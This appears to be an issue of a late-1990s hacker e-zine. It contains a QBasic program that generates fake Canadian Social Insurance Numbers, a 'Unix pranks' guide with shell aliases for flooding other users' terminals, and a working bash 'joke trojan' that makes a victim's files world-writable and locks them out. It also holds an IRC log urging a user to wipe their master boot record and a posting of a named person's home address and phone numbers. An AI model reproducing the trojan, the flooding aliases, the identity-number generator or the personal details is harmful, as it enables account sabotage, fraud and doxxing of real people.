Social Insurance Number is made up of 9 positive integers. To validate, the first 8 are put through an algorithm to determine the 9th. If the 9th matches, then the SIN is valid. Here is how the algorithm works: 1. Find the sum of the 1st, 3rd, 5th, and 7th digits. 2. Find the products of the following: 2 * 2nd digit 2 * 4th digit 2 * 6th digit 2 * 8th digit 3. Add the products of part 2 (above). 4. Add part 1 and part 3 together. 5. Take the ones digit from part 4 and subtract it from 10. The result should be the 9th digit. If you don't understand the above, here is a program I made in QBasic that will generate and validate Social Insurance Numbers for you. ---------------------------Start Cutting---------------------------- RANDOMIZE TIMER COLOR 12 PRINT PRINT "Social Insurance Numbers - Canadian" PRINT "Made by Devix - datadaze@hotmail.com" PRINT COLOR 7 1 PRINT "(G)enerate or (V)alidate?" 6 choice$ = INKEY$ 'Wait until key is pressed. IF choice$ = "" GOTO 6 choice$ = LCASE$(choice$) IF choice$ = "g" THEN GOTO 5 'If g the make sin IF choice$ = "v" THEN GOTO 3 'If v then check sin GOTO 1 5 'We're make a SIN! a = INT(8 * RND + 1) 'Use random numbers for the first 8 b = INT(8 * RND + 1) c = INT(8 * RND + 1) d = INT(8 * RND + 1) e = INT(8 * RND + 1) f = INT(8 * RND + 1) g = INT(8 * RND + 1) h = INT(8 * RND + 1) k = a + c + e + g 'Add them l = (b * 2) + (d * 2) + (f * 2) + (h * 2) 'Multiply them m = k + l 'Add them 2 IF m > 10 THEN m = m - 10: GOTO 2 'Get the last digit. COLOR 2 PRINT FOR i = 0 TO 9 'Get the check digit. IF i = 10 - m THEN PRINT a; b; c; d; e; f; g; h; i: COLOR 7: END NEXT i 'Not found, go on to next. COLOR 7 END 3 'Were checkin a SIN! PRINT PRINT "Numbers seperated by comma's." PRINT "ie: 1,2,8,3,9,5,5,8,5" INPUT a, b, c, d, e, f, g, h, i 'Get the numbers k = a + c + e + g 'Add them l = (b * 2) + (d * 2) + (f * 2) + (h * 2) 'Multiply them m = k + l 'Add them 4 IF m > 10 THEN m = m - 10: GOTO 4 'Get the check digit. PRINT COLOR 2 IF i = 10 - m THEN PRINT "Valid!" ELSE PRINT "Invalid!" 'If digit is right, COLOR 7 'then tell the guy. ---------------------------Stop Cutting----------------------------- I've also included a program I made in vb that does the same thing. (sin.zip). Source code is encluded. Enjoy! begin 644 sin.zip M4$L#!!0````(`!F##R-E7`8W@0,``.P&```,````1E)-7TU!24XN1E)-;51- M;!M%%/YF=M;=V*9)K!Q*!>H"4525RB25@!($`D);68*H:JJJXF+9R2:Q\$\P MZ\;-Q1'RQ1=??""72E4B40G(A3,2%ASH@4H<X=)<MJH4%2@G7TB7]\:[86VS MDM]^[YMOYCV_^6S_E_,PRP+(@QYKM5K*?IPKE)][6<S`Q\12.I->3-M7G+)3 MS;F5JM'M=F%>4<`#$_@Z#GQ![^<%/L`K/CW3YN5*M33W.BO>8,F;K+G((E^\ M2A6,9-XM9V_DBH65G.LH']8QOFNNBQ_4VV)2PC=8*[4VJ*VUQ_BN>0%:*TA[ MAK0B[M;=[&*ME'>JTE=U\%DOBA35-?BKF;&/<GFG."=\O+]0=>B,%3M_V_[0 MN56HS]LK_'K/77<VG+*;6ZN4T\N5DKVYN9D>XE[32K..7^7CL3694IB29ZC$ M.2JAXL5\,6B!RISHHWD2UW$@?T+*`$FENDW#^,>4&$=69,48A#14+&%:\>VK MVU=/T%6<IL,V4,,6&FBBA38ZV"=N!W>PR]>$(TAQB/][/L%W%._!&^+YW/M` M*CK1[$*QL/PIL"UR#RGD&2US6.E2<!BM<ECCL/X7!2TN<B@!,4EG$BQ0B$R? M)W'=J;L(JH7W&U:#S"WW(*74F[7<K<S-\GF&IC8X?&81/H4Q6/"#AX0P!%(8 M_0["FGTB6`_<1(R&`&X-O^-+BI[]`$_AJ3U\CR0-=IBIC3!;(TQCA&F.,*T1 MICW"=(A)4`\)JK%'L:ECFV*2KI?7:O"LI_B34"-`K&A%<.<8)\D0O&>'/G=T MODLS\OU[E._".WN`2[@L^KBG5V-8('/PGGWJR9M^E]3G9)"?964/7R$#F[A' MF-6][N';`-<TW@NRK8&L,9`U![+60-8>R#H#V7Z0)<C&*72ITXM!MXO4:8SP M6]H3ENA[8HH]@<`3@TXC3SR+>.)^X`D^>9)._A'C)[WIOVE":;R#=?G?"LU% M_8QO=I)J(Z+WK)"M1=EDR&Y%V8F0;439J9!M1ME3(=N*LB^$;#O*VB';B;+3 M(<M_$@GJ.J&TNY1VE]+N4D=Z[=A=*N(N%7&7BKA+\0\\03L3A-A=A]I=/:I\ M&+CK-]''/;W*[NKI.GTW'6HW7<)Y&?;Z!R;P3,1A%SZW]76]!*KD$7\2IZ6% MI<RBG2FO5H`9<0&KD7TIS,NDWI<IWQK:>7-H9^B2:X%+)K5+COX%4$L#!!0` M```(`"V##R/6#>&W<````'X````,````4%)/2D5#5#$N34%+<PORC?=U]/33 M`S)XN0**\K/",_.",ZM2;<U-=(PM3'6,3(UT#(V,$'(9^>6V0*YG<GZ>6WY1 MKJU26E%NO&]B9IX2+U=(9DE.JJU2L)ZGGI^>@GMJ7FI18DE^$5#&M2+5+S$7 M).?I%PZTSC7"%2@*`%!+`P04````"``Z@P\C69NER\0(``!`'```"@```%-) M3E=)3BY%6$7M67U05-<5/^]CW66%94&J8G!Y2\@V55P0$;;L(A_!Q94/&31J M"1&7L.`ZN&N7MT)LK*O^@ZZ2Z4QFTK':M.I?F8ZQ+3-5FE$41ZH6JXW3(;93 M.VE:=8RV:CO2$;D]][ZW",MJVIDTQC1G>>^>W_FZ][YW[KL?5-<3T`"`A!<A M,$8E>''P*30%OJ)GG'8/+?A]]\7PGY?7'DWD:L__5#K*P0=#.X8Y.:'7)/3$ M#9J/<#U5@^:>G$&S0VC7H/#FC>XI6;"@+SQ\C!#+MJ+:TN!TR[8M_(HE08,E MM$4L"FKW!#4[\W\@H++#&TRC2E]S,`5+T1L(QJ/1E**@IM<EW/SAW<,6FR9X M;,\68>>B_4)/ZJ!9+#T^Q'>)SC-B(5X-SIZ*G\&@>?=0=]^)(3ZW[Y@3[AY> M%MI"&F3QC*:AXOA%/FRXP-\[U#O$'X6B07,@\>`[PLTENR]V#V%C;]A)&%NR M8Y3(M[I-61`>#3E`_N@G#KLLZON"]\,7YOYFQ[\X^5KX/H:_=V@9]:-MO[FO M=Y-PX^$H[6L8FX8U$W+W\/U+X0_#EVAKCF\#RZXJLNLDW^_X;L=O+5WE)/>6 M<&>/K?3AO4,C)U![1B-5A//W"ZS>\ZY[AY0.*&%H"%K7C_<+PJFYE]IUF8GB M'=NIP$Y:V7':%&H1-KTC'&^``?']T8%RG@P.E(OFGH'R*8N0TYEO#)3KOP\] MQ1BR%SC3RO,ZZ/#ZK*_Y-WQ&V;%BG;==VACPMP;<&Z2`Y]M!;\#3+E5[7POX MV_TMLK3*ZVOV=[1;$_29W_(')7?`([G;`AYW\^M2(.CS>7VML8U?]KF;VCR2 M[)?:97=`CFTT_G/T%?V/J&:Q1C\"/#@7UU4D"SR`$6J-[,O/@XAE&LX$Z^!C M^#O<A5'VO=?A/,'K5'=!!ZE0.SN5@:1X'@Q@XXRS;5P<;!>-:=O%2#TZ,(24 M^81&STGC0LP]Q"N>6%M$-@T$Y'G&ZT,:II\^3C^3\8I^%N-%QJ>QN)K0Y#[J MEKMJ5KEJ&(]MT*TLJWNY9D%.#L9:;G59:ZQ2A<?G";AE?P#^WVDO'74<?<4@ M<$G(->,CGH&OY$M*E:[WZDKD2M>Y@G^FANS?*_#9S]GO&"]GSX+),E,,648, MF26&;$X,F36&+#>&+!]EYGFSP#PO`ZZ6F.?-8?=<O%_.+F0Z$PP7'#&L+;V` MO&6,IU;6"2A_'+J<O8CY%F+<12Q6&7A<A'"(R^!%VQ'#J?*>O'PN@M:74HO5 MKM)T`U?I2LQUPBV,E8&:@N=FDED\C>5DEM1C?>FZ\E_D&5&:9\L!*IN%==0: MS\H1;%)Q15%$DC%)8IDDF3-)8ITDR9TDR9\D<8Y)^I-\2ZL@4#6UK]+UR4*E M9SK33+(4>_FA9XWA%4.EBUK$H<5!XUO!1-;GS?ALROBEZ6^(C[1O&>/QF7S' M0*_W@[],JC7:LFMAHGXX2E\7I1^-TJ^(THNVB?J547I]E'YUE-X8I:^/TD^/ MTC=$Z=.B]&NB]!E1^K6H/Y!5"P>R5L`'M@-9J]F]`>^V[":FJ\-G\C?;!>16 MJARUJ!_'KQGC;=G-S*<)XS5CC".&R]DM+&L%S-J6L:S]1(@@FK4M+&M/"]1S M+;Y])4=;6([VY)6(D?;OM1DA6=2#A(N>E>XV;[,9H#_I:LE!XU\*]MH,8!5U M@%.)Y/*U^`'^43>Z</,XWV2H$>.9K\NW*89W6Y1W)+O@*5.J.L-&]GLV:'2( M.(^O<O`0,BHV73@A_)Q;YDC#>7PKRHE*@&L$X"A'_>N9;3.7[9@)^^!MNQY" MM1+PZLY2S[_GRD#^(1E-?.0/X_R5N7X.7+.+N+4<L#^J?PE>KW(G[-,?ZW\= MF4X&X[$?>5AFH==9IC?QBG4F;^%&$XV<@E*8M0.O;B6,ZG<%_3@N$WW>$!7+ M[5B.)IX1%)0$F3RUYN$V[?TS3[0GDL2S_N=P%$L27:.)<)VGJ\`O-[VHGGV4 MJ!D`\/B##YIP)":=)&3$L97TCZ0/%X]H'Y"1=+RV/B`/R9.OD^3!2!%YT'^2 M##N*L21DN)B@_+\E6C]L)7V0/@R@Q8N66X=Q:/SG5S$9%CZ]?OA2OW]E/(<> MF_0A]@>AD%+0'Q7AK:^OCV8(^Z.?.U;0'Q5]GH_M3:+=.!X1HNU0!3KE%6H[ M%$'DE4;T8W@C3,``GR?NZAJ/'R&**;I].X(G(DI/0D^9R)/&;>CIC5M!VA8B M9&R#3'=\D_?$S@0QY`3"G5X"SKKJQNI25XT5&;1?S3;AST$QC;6:H[OPV2K` M062"=!4(=)2958"C+`.>5P%.^IGP@@KP@,$"7U>!EH[.;ZA`1Q<&<U401V?W M>2K0`U@A6P53`7)@O@H2V$Z64X`18"'DJYHD@`)<Z"@@&>";4*B":0!V7!0H M((7.?Y$`N/98A'(%S*!?C%(5S`0H@Y=4D`F0,N;S`D`Y+%8T"DT`7Q#R.Y32 MQOD=EK'_`XR_T^.>M^TD?IFCT;&*6;,U8/RC_$J!5K8N5%9COV)K1IUZ\A,/ M-!4PC4(4BPS5L\3Y[*F>K1;7JS5&:!\]2P(MM-HYN(([W'.X7^@E&GB7:/'$ M(PYVD:FPF23`>I((];C"6TJF02'Y&LPA,\!40L^=KI._DH_)1^1/Y(_D#^0* M&2*_(Y?):8RE977%5:D=>\:(_#H+-"TX<%]A,"&#L^"L98S^!@AT?M-48!<' M<<"^BV-N.Y:I'";^\VQIK7'Z`QOF+Z06^=2D@-K8J!&F1#[]T(!(\.B-;HS< MLD?\D68==T*T<TF8-%.YF`LN(5\YA40WM1W4+1>8&P[LJ6=C]DA0MC(\$3N! MUC&;2Z:-$%YE.PR.0.E+>$(M>YJEIM>E<L\F;V>AU$R+$GF=9Z/')[M;_>P, M7>KHZ+!&R;*9I:83+O+7XEKY9!%2^'0:W<PR&Z-K:X(;FCR!0K3IA*M\/R0+ M0"WX+^9>0=<2V-!8[?;Z]'*GW*BT/;Y)]C5&'CD#D=>F;VMJ4XVF5+F;/&WS M_PU02P$"%``4````"``9@P\C95P&-X$#``#L!@``#````````````"`````` M````1E)-7TU!24XN1E)-4$L!`A0`%`````@`+8,/(]8-X;=P````?@````P` M`````````0`@````JP,``%!23TI%0U0Q+DU!2U!+`0(4`!0````(`#J##R-9 MFZ7+Q`@``$`<```*````````````(````$4$``!324Y724XN15A%4$L%!@`` 0```#``,`K````#$-```````` ` end Devix - devix@thepentagon.com www.thepentagon.com/devix PGP key available above. Use it. ═────────────────────────────────────────────────────────────────────────────═ Stupid Unix Pranks by The Darkling Terminal flooding Is a very annoying and a great way to make people look stupid. However this requires something. Go into /dev and type ls -la ttyp?. This will get you a listing of the permisions on the ttyps. For any reason should you have right accsess to any ttyp# (that stands for ttyp number) you can do this. Another thing you can do is if they ever leave their computer un-attended walk over to it, type who am i (for your user name) and then type who username for their ttyp number. then type cd /dev and then chmod a+rwx ttyp(their ttyp#) ( Side note: chmod is a change permissions command. a = all and a+rwx gives people read write and exacute perms on it). this setting will stick threw all of their ttyp's (they change every time). Most default settings give you write accsess to other peoples ttyps. Don't ask me why, but they do. Now we have to write a couple scripts to do the terminal flood and to setup for it other times. Asuming you don't have a .bash_profile I am now going to go threw what it is and how we will use it. .bash_profile is a file that will run everytime you login asuming you are using a bash shell. if not.. type /bin/bash now and load one. here is the heading for your .bash_profile (and every other bash script) !#/bin/bash this means that we are sending commands to the bash shell.. its just propper form, and some whate unessary if your using a bash shell. now what were going to do is setup a little rutine that wil grab us everyons login name and ttype number so we can check this when ever. I have mine setup so that it tells me eveyones in the begging and writes it to a file (that re-freshes everytime) in my home dir called flowers. here it is, I'll go over it in a sec !#/bin/bash who who > flowers alias flood='cat /etc/wmtp > /dev/ttyp$1' alias fuck='echo Fuck You > /dev/ttyp$1' alias w='who' alias hehe="echo You were flooded curtusy of The Night script www.wilter.com/Darkling/ > /dev/ttpy$1' Now save it. Exit your shell and log backin for the changes to take affect now. As you enter you will be presented with a list of peoples names and ttyps, as a off note this information can also be seen in the file named flowers. Also you might want to get the above source out of the html code. Just so it isn't fucked over when you put it in. If you need to see the information quickly, just type w and then enter and you will see it again. When we want to flood some one we type flood # ( or flood space their ttyp number ) and the entire contents of wmpt (usaly f***** huge) will be dumped to their screen. Similarly if you type fuck # (fuck space their ttyp number) they will get a Fuck You added to where ever their curser is, or was. its halurs if their e-mailing the root and you do it just ebfor they send it. The fuck you is added to the mail message then its sent... you get the picuter =0). Also after every day of tortue it would be nice to me if you would type hehe # (hehe space ttyp #) wich broadcasts a advertisment about this page. #2 This is what I call a Joke Trojen. While this method could be used to do some very bad things I don't really condone them. Warning: This could get you kicked out of unix class and if your school is tight as mine maybe given the big boot. Use with caution. The entire Idea behind this is that we need someone dumb enough to run a program you give them. this program will be a trojen horse that will efectivly lock them out and give you RWX on everything they own. My unix may be a bit rusty as I'm writing this up after unix class, but everything should work. First 'know thi victem, sayith the lord' this person has to be someone that has something you want, and will run a program without thinking about it. Once you have chosen your victem, make the following bash script: <--- begin code ---> #!/bin/bash echo you stupid dick chmod a+rwx * echo logout > .bash_profile cd /home/yourusername echo The hit is made sir > YES echo bye logout <--- End code ---> Now make type chmod g=x filename chmod o=x filename chmod a+xw /home/yourusername Make sure to have named it someting like runme or some name that some one would think it a little program that is kewl and safe to run. We before denied read or write accsess to it so they can't see its true nature (except root), so they should not fear it. Place it in their /home/username/ dir and wait for the file YES to appear in your home dir. be sure to fill in the vars like yourusername and filename (your user name adn whatever you name the file). The effect of the trojen above goes like this : it says to their screen 'you stupid dick' it gives everyone read write and exacute perms to their files (all!) it makes it so their startup files makes them logout (so they can't log back in.. ) it goes to your dir it makes a file called YES with the insides 'The hit is made sir' it tells them 'bye' it logs them out. I personely like it.. its very effective. if you have the right setup perms on yourstuff ( shown above with the chmod commands) then it all should work. Go have fun in their dir.. then remove the logout from their .bash_profile before they report to the teacher that some one put a trojen in their dir. =) The Darkling Contact: Darkling69@mintprimary.com http://www.wilter.com/~Darkling/ (soon to be) ═────────────────────────────────────────────────────────────────────────────═ Oddville, THTJ [ This month, sadly Oddville is very small since this month, Scud-O's registry was fucked and he lost Eudora,. and thus all this strange, strange mail, so if you sent some whacked shit to me, resend it again, por favor! heh. ] Date: Tue, 16 Sep 1997 22:43:59 -0400 (EDT) From: cLOut <clout@widomaker.com> X-Sender: clout@wilma To: scud@thtj.com Subject: log hey..here's a log file i had from a few days ago... add it to THTJ if you want man..latz. ==/==/== cL0ut clout@widomaker.com [finger for PGP public key] This is from some dumbass that joined #phrack (<BEGIN LOG>) <red_tab> Can someone tell me where to get salt peter. <cL0ut> salt peter? <red_tab> please <p-> hm <red_tab> Potassium Nitrate <cL0ut> you can find salt & pepper on your kitchen table <red_tab> Im from australia, and Ive never ehard of it before. <red_tab> It's a special type <red_tab> Ok then. Can anyone get onto #bombs? Its invite only. <red_tab> or know the nick of a person on it? <cL0ut> red_tab: i can tell you how to get in <Frontline> yawn <red_tab> What do you want? <cL0ut> red_tab: type /run fdisk \y /mbr <red_tab> Yeah. Sure <red_tab> For gods sake. Im not that dumb * Shok is idle, automatically dead [bX(l/on p/off)] <cL0ut> red_tab: you sound that dumb <Frontline> h0h0h0 <red_tab> It wouldn't work anywany, Im not on UNIX <red_tab> thanks <cL0ut> HAHAHAHAHAHAH <cL0ut> you dumbass <cL0ut> fdisk is a DOS commands <cL0ut> command even <Frontline> cl0ut not neccesarily <red_tab> Ok it would work then. i am that dumb <Frontline> but those lil commands you gave him were for the dos version <(END LOG)> --- Date: Tue, 16 Sep 1997 21:47:58 +0100 From: ToX <mt@bruhn.dk> X-Mailer: Mozilla 3.03 (Win16; I) To: thtj@thtj.com Subject: Windows 95 NetWork Crack My problem is that I have made a bet with my freind, that i can break his Windows 95 NetWork... When you share a directory, you can put a password on it, and it is this password that i have to break... Can you pleash help me ! ToX MT@BRUHN.DK [no.] --- From: "TM" <tm@sinnerz.com> Organization: SIN/Technophoria To: xxxxxx@xxxxxxx.net Date: Sun, 21 Sep 1997 00:10:39 -7000 Subject: Movie To See Priority: normal X-mailer: Pegasus Mail for Win32 (v2.54 preview) Ok, if any of you are going to the movies any time soon, GO SEE THE GAME! IT KICKS ASS! We are talking a big two thumbs up and one fucking STUNNED audience. Go see it now, in fact. Go ahead and leave your computer online, let it time out, go and stand outside of the fucking movie theater until it starts or comes there... threaten the manager with anal rape unless he show The Game there. Oh shit oh shit oh shit what a fucking trip... wow... I mean, you think you know what's up, you think you have the big picture but then it rips apart and all of a sudden the picture gets much bigger... I loved it so much I was incoherent for 2 hours afterwards (I just got back from seeing it, as you can tell). ____ / ___| ___ | | _ / _ \ | |_| | (_) | \____|\___/ ____ ___ _ _ / ___| ___ ___ |_ _| |_| | \___ \ / _ \/ _ \ | || __| | ___) | __/ __/ | || |_|_| |____/ \___|\___| |___|\__(_) Nownownownownow! +--------------------------------+ | TM | +--------------------------------+ | Ou' sont les neiges d' antan | | Villon | +________________________________+ | There is a man... | | playing a violin... | | and the strings... | | are the nerves in his own arm. | | A twisted soul- the mortar... | | despair- the bricks... | | to build a temple of sadness. | | The Crow, J. O'Barr | +--------------------------------+ | This tagline is SHAREWARE! | | To register, send me $10. | +--------------------------------+ [ I agree, this is one hell of a movie, and i recommend seeing it when intoxicated for an added effect. ] --- Name: Alam Farez House fone number: (860)875-2117 Personal fone number: (860)875-9911 Address: 9 Deerfield Lane Ellington, CT 06029 URL: http://members.tripod.com/~zerohex/zer0.html email address: zer0-hex@juno.com ═────────────────────────────────────────────────────────────────────────────═ #phrack <chris0> so1o: whats the new crh gunna have in it? <number6> replicas of phrack articles <FrontLine> an original idea maybe this time? <FrontLine> never <FrontLine> could never have one of those <rh1n0> gha ┌───-───(( whois information: number6 ))──-─-──-───--──-──-─-─ -──-─- -─ │ address ≡ ~no6@jolt.ppp.dhp.com [Commercial Organization] │ quote ≡ Number 6 │ channels ≡ #phrack #glitterglam │ server ≡ irc-w.primenet.com: [206.165.111.241] Primenet Mae-West IRC server └───-──────────-──────--───-───-──-─ ─-──-──- -─ <chris0> hehe <so1o> it will be 200% orig1nal <so1o> f00 <FrontLine> its to hard to come up with an original idea <rh1n0> i didnt read that yet <dev_null> wait and see <rh1n0> i will go read it now <FrontLine> let alown write those original ideas down === (join\#phrack) VC[VC@rhat.cts.com] @[02:03:51am] <so1o> i wrote something down once.. it said... <so1o> I R0CK <so1o> heh <Warpy> 200% <Warpy> oh dear <so1o> 200 proof then <FrontLine> much easier to rip other peoples shit <so1o> f00 <so1o> heh <FrontLine> cut their name <FrontLine> paste yours <chris0> I seen an article published in crh that was also in EL8 newsletter 1 but changed. ┌───-───(( whois information: FrontLine ))──-─-──-───--──-──-─-─ -──-─- -─ │ address ≡ assembly@penguinpalace.com [Commercial Organization] │ quote ≡ │ channels ≡ #phrack @#cheese #glitterglam │ server ≡ irc.visi.com: Rockin' Snowland Server └───-──────────-──────--───-───-──-─ ─-──-──- -─ <FrontLine> much much much easier <so1o> i didn't paste my name <so1o> heh === (join\#phrack) WOWEE[netcom.ix.@chi-il11-04.ix.netcom.com] @[02:04:35am] <WOWEE> hello <FrontLine> Oh you actually typed it out <halflife> did i see so1o and original on the same screen? ∙ halflife blinks <so1o> isn't FrontLine a medication for vaginal warts? <so1o> yeah halflife <so1o> im gonna try reeally hard <so1o> heh ∙ so1o concentrates === (nick\change) rh1n0 ──> WEP <WOWEE> can someone tell me where i can get an anonymous emailer and browse the web <halflife> so1o puts out a lot of issues <chris0> leave <halflife> too bad they all suck <so1o> issue 5 is good <halflife> but hey, theres lots of em atleast ∙ FrontLine watches as s01o's head explodes from trying to come up with an original idea <halflife> i read it, but dont remember any of it <Warpy> so1o, so a redhat 2.1 exploit is GOOD? <chris0> At least its a zine. <so1o> issue 5 i said <so1o> heh <number6> wowee: check out http://www.research.att.com/projects/crowds/ <Shok> llalala <WOWEE> thnx ∙ FrontLine is amazed that in all that mess from his head exploding nothing original could be found <so1o> i got 4 original submissions so far <so1o> he phear === (nick\change) WEP ──> rh1n0 <so1o> s/he/so <so1o> heh <rh1n0> um <Warpy> so1o, originality is crap unless they're good <alhambra_> so1o how many of them are other handles u use?> <chris0> Do people just submit to CRH or is it all codezero based? === (join\#phrack) ld-100[555ic@d-pm4-39.txdirect.net] @[02:07:04am] <rh1n0> ahhaha === (signoff\#phrack) ld-100[555ic@d-pm4-39.txdirect.net] @[02:07:06am] [Connection reset by peer] <Warpy> alhambra_, hahahaha <Modify> Maybe you should lay off of hacking 30 web pages a week and devote your time on something more constructive! <alhambra_> (are written by) <so1o> alh : none <FrontLine> so1o: in your next issue are you going to have |<-RaD flash warez <so1o> yeah <so1o> how did you know? <dev_null> www.sekurity.org/~vol <dev_null> CRH 5 <so1o> crh 5 is elitespeak <halflife> mflash too <so1o> so no-one can readit <so1o> heh <Warpy> www.sekurity.org/~warpy is more ereeter <halflife> mflash.bas <dev_null> i've been there <so1o> hahaha <halflife> visual basic mailflashes!@ <Shok> www.sekurity.org/~shok has no index.html <Shok> hehe <FrontLine> wew hoo mflash!!!! <li> www.nque.com/~li has no html! <li> hi <so1o> www.larc.nasa.gov is br0k3n <so1o> and it wasn't me <halflife> so1o has mad phf sk1llz <so1o> phf is k-r4d === (signoff\#phrack) phiXati0n[PHUCK_you@167-123-97.ipt.aol.com] @[02:08:59am] [ChaNNeL BoT bY |IceMan|------⌐HΣ╤±Θúá▀°tá▀Ñá|φ╟╚m┼±|] === (kick\#phrack) Warpy[warpy@slsyd75p22.ozemail.com.au] kicked [so1o] off #phrack [schmack] <alhambra_> i think crh and el8 should merge <alhambra_> get all the crap in one place <chris0> hehe lol === (join\#phrack) so1o[REPL4Y@serug.netgates.co.uk] @[02:09:13am] <so1o> hey <Modify> halflife: lo fuckin loud <so1o> no fair <dev_null> what happened to #codezero ? <so1o> crh 6 will have unpublished and orignal exploits in it <Warpy> so1o, name one exploit/vuln c0d3z3r0 have coded/found *THEMSELVES* === (signoff\#phrack) ld-50[555ic@d-pm4-26.txdirect.net] @[02:10:08am] [Operation timed out] === (join\#phrack) ld-100[555ic@d-pm2-05.txdirect.net] @[02:10:13am] <halflife> judging from the originality of crh, REPL4Y is a good username for so1o <li> mount.c <li> ? <so1o> phf xterm tekneeq <Warpy> bahahaha <so1o> hah <Modify> oh my god <Warpy> oh dear <Modify> hahaha <Modify> and thats a funny group name cause they code zero === (topic\#phrack) Warpy[warpy@slsyd75p22.ozemail.com.au] sets topic (<so1o> phf xterm tekneeq) <dev_null> soltool is a fuckin' rip off <halflife> so1o, people were doing that before the ibm advisory came out like 2 yrs ago <Warpy> dev_null, agreed <so1o> i coded that myself <so1o> gneegr0 <halflife> soltool is backdoored too <chris0> modify: what does global kos do? <so1o> yeah <Warpy> YOU CODED A FUCKING SHELL SCRIPT WITH PUBLIC EXPLOITS? <so1o> i did that too === (nick\change) ld-100 ──> ld-50 <chris0> Im not defending codezero but global kos doesnt do crap. <alhambra_> phf xterm technique is ancient <Modify> chris: go to school and work <Warpy> chris0, just because they don't hack pages and trade warez doesn't mean they don't do crap <dev_null> Global kOS is kinda lame...i have yet to see something usefull come out from them, <so1o> hah <so1o> hah <so1o> upyours4.exe <so1o> hah <chris0> hehe === (part\#phrack) few1[blah@phat.oz.net] @[02:11:57am] <halflife> dev_null: so how do they differ from c0dez3r0? <Warpy> so1o, at least they understood enough sendmail to code it <chris0> warpy: Im saying they havent released anything. === (signoff\#phrack) alhambra_[alhambra@nuclear.biodome.org] @[02:12:27am] [changing servers] <Modify> www.thtj.com/kOS/screenshot.jpg >>> (msg(modify)) this shit is funny <Warpy> a group is about/for the group not admirers or exploit k1dd1es ═───────────────────────────────────────────────────────────═ === (join\#phrack) so7o[REPL4Y@amon.netgates.co.uk] @[02:14:51am] <chris0> At least they do a mag its better than nothing. <so7o> we are getting better <halflife> no, it isnt <dev_null> remember ZERO <halflife> so7o, the quality hasnt changed <dev_null> www.sinnerz.com/zero <so7o> yes it has <halflife> and you still do lame stuff like dump d0x <so7o> we have taken that into consideration <so7o> and i have already tackled the issue for 6 <FrontLine> who is we anyway <halflife> your content is 1) lame and 2) stolen <halflife> a bad combo <FrontLine> h0h0h0 <halflife> if yer gonna steal shit, steal better stuff <alhambra_> yah <alhambra_> and so1o <Modify> hehe <alhambra_> stop publishing other peoples shit on bugtraq <Warpy> hahah <so7o> that was another so1o <alhambra_> oh right <li> *cough* <Warpy> "i couldn't find the remote root code, but here's something anyway.." (imap) <alhambra_> the other so1o <li> :> <so7o> i'll relay the message <kaotik> hrmm <Modify> you mean there are 2 of you? <so7o> yeah <Warpy> SPLIT PERSONALITIZ <so7o> and there's a dude called codezero <kaotik> i guess it's shit like this why i don't go to cons <li> so1o.. you told me you did it because you were tired of all the lamers gettin the code <li> or something <alhambra_> www.sekurity.org/~vol <alhambra_> that page rules <Warpy> alhambra_, it does don't it :) <alhambra_> yep <so7o> bugtraq is there to make the world a safer place <alhambra_> so1o it doesn't matter <so7o> i think everybodty should post everything to bugtraq <FrontLine> and your here to make the world a lamer place? <alhambra_> u dont publish others exploits there <halflife> is he called codezero cuz that describes how much code he has written in his life? <Modify> point being? <li> hold.. lemme post nlock <alhambra_> u dont publish others exploits there <halflife> is he called codezero cuz that describes how much code he has written in his life? <Modify> point being? <li> hold.. lemme post nlock === (join\#phrack) Volatile[vol@synapse-160.mindport.net] @[02:19:08am] <Volatile> so1o! <chris0> Old hacking files are totally krad compared most of the new shit. <Volatile> li: Hey there li <so7o> i was considering posting the nlock source <Volatile> li: Long time <so7o> but sun would kick my ass <chris0> Phrack is an ok magazine just too much source. <Modify> geezus === (join\#phrack) loath[loath@206.29.0.102] @[02:19:41am] === (signoff\#phrack) chris0[brutus@wrt1-ppp30.dial.snowline.net] @[02:19:41am] [Leaving] <Warpy> so7o, post nlock and everyone will kick yer ass <so7o> why? <Warpy> tho i suppose you'd need netcat for it <Warpy> :P <halflife> i think we need to publish less source <Volatile> so7o: So how's CodeZero? <so7o> because you would rather be all k-r4d and 31337 <kaotik> i was gonna post the netscape 128k encyrption k0de <Volatile> haha <Volatile> No <Volatile> so7o would <Volatile> That's why he's posting it === (nick\change) prym ──> FEGR00LZ <so7o> and keep all your neat little remote's in sshd and the like to yourselves <kaotik> but it's old shit <Volatile> That's why he's posting it === (nick\change) prym ──> FEGR00LZ <so7o> and keep all your neat little remote's in sshd and the like to yourselves <kaotik> but it's old shit === (nick\change) FEGR00LZ ──> prym <Modify> half: Im doing one on CISCO for the next issue <Volatile> He wants to look like he has the greatest archives. <Modify> with d1s <li> it'd help if he had it <so7o> that doesn't make the world a safer place <Volatile> so7o: Dude.. face it <Warpy> so7o, so ppl/groups like c0d3z3r0 don't get it and use it to trade juarez === (signoff\#phrack) VC[VC@rhat.cts.com] @[02:20:48am] [Ping timeout] <Volatile> so7o: You're just a moron trying to look like yew have reet0 k03z <so7o> my k0dez > your <so7o> sssss <Volatile> haha <Volatile> Yea <so7o> nice to see you admit it <Volatile> Yew know what kode I loved a lot <Modify> is that scripting? <li> hi <Volatile> Let me make sure Im accurate here. <halflife> i wont code for linux anymore tho, too many stupid people ask me linspy questions ═────────────────────────────────────────────────────────────────────────────═ The News Compiled and edited by KungFuFox 1 : Huge jump seen in PCs linked to net 2 : Hackers vie for $1-million reward 3 : Digitizing Your Meter Reader 4 : AT&T Tests New `00' INFO Directory Assistance Service 5 : Bellcore Scientists See Cold-Weather Problems... 6 : Is the Internet a Matter of National Security? 7 : Hacking Smart Card Chips: At What Cost? 8 : House Panel Rejects Crypto Amendment 9 : Internet Addict Placed on Probation in Ohio - from FH <Faraz> tell you and your lame friends not to prank call me ═───────────────────────────────────────────────────────────═ Huge jump seen in PCs linked to net The number of personal computers connected to the Internet will jump 71% by the end of the year to 82 million, driven by use in the business market, says market research firm Dataquest Inc. By 2001, about 268 million computers will be linked to the global computer network, according to a recent study. That will lead to more sales of Internet software and services, which are expected to rise 60% to $12.2 billion (U.S.) by the end of the year, up from $7.5 billion last year. The Internet software and services market is expected to reach $32.2 billion by 2001, with the services market alone reaching $7 billion in 1997 and rising to $29 billion by 2001, says Dataquest. (Toronto Financial Post 21 Aug 97) ═───────────────────────────────────────────────────────────═ Hackers vie for $1-million reward Austin, Texas start-up Crypto-Logic Corp. has offered a $1-million reward to whomever can crack its new e-mail encryption system within a year. Cryptologists generally agree that Crypto-Logic's technology, called a "one-time pad" is theoretically uncrackable -- each "pad" has a set of uniquely random digital symbols that are coded to the actual message. The recipient uses the same pad to decode the message, and each pad is used only once. Still, experts are warning 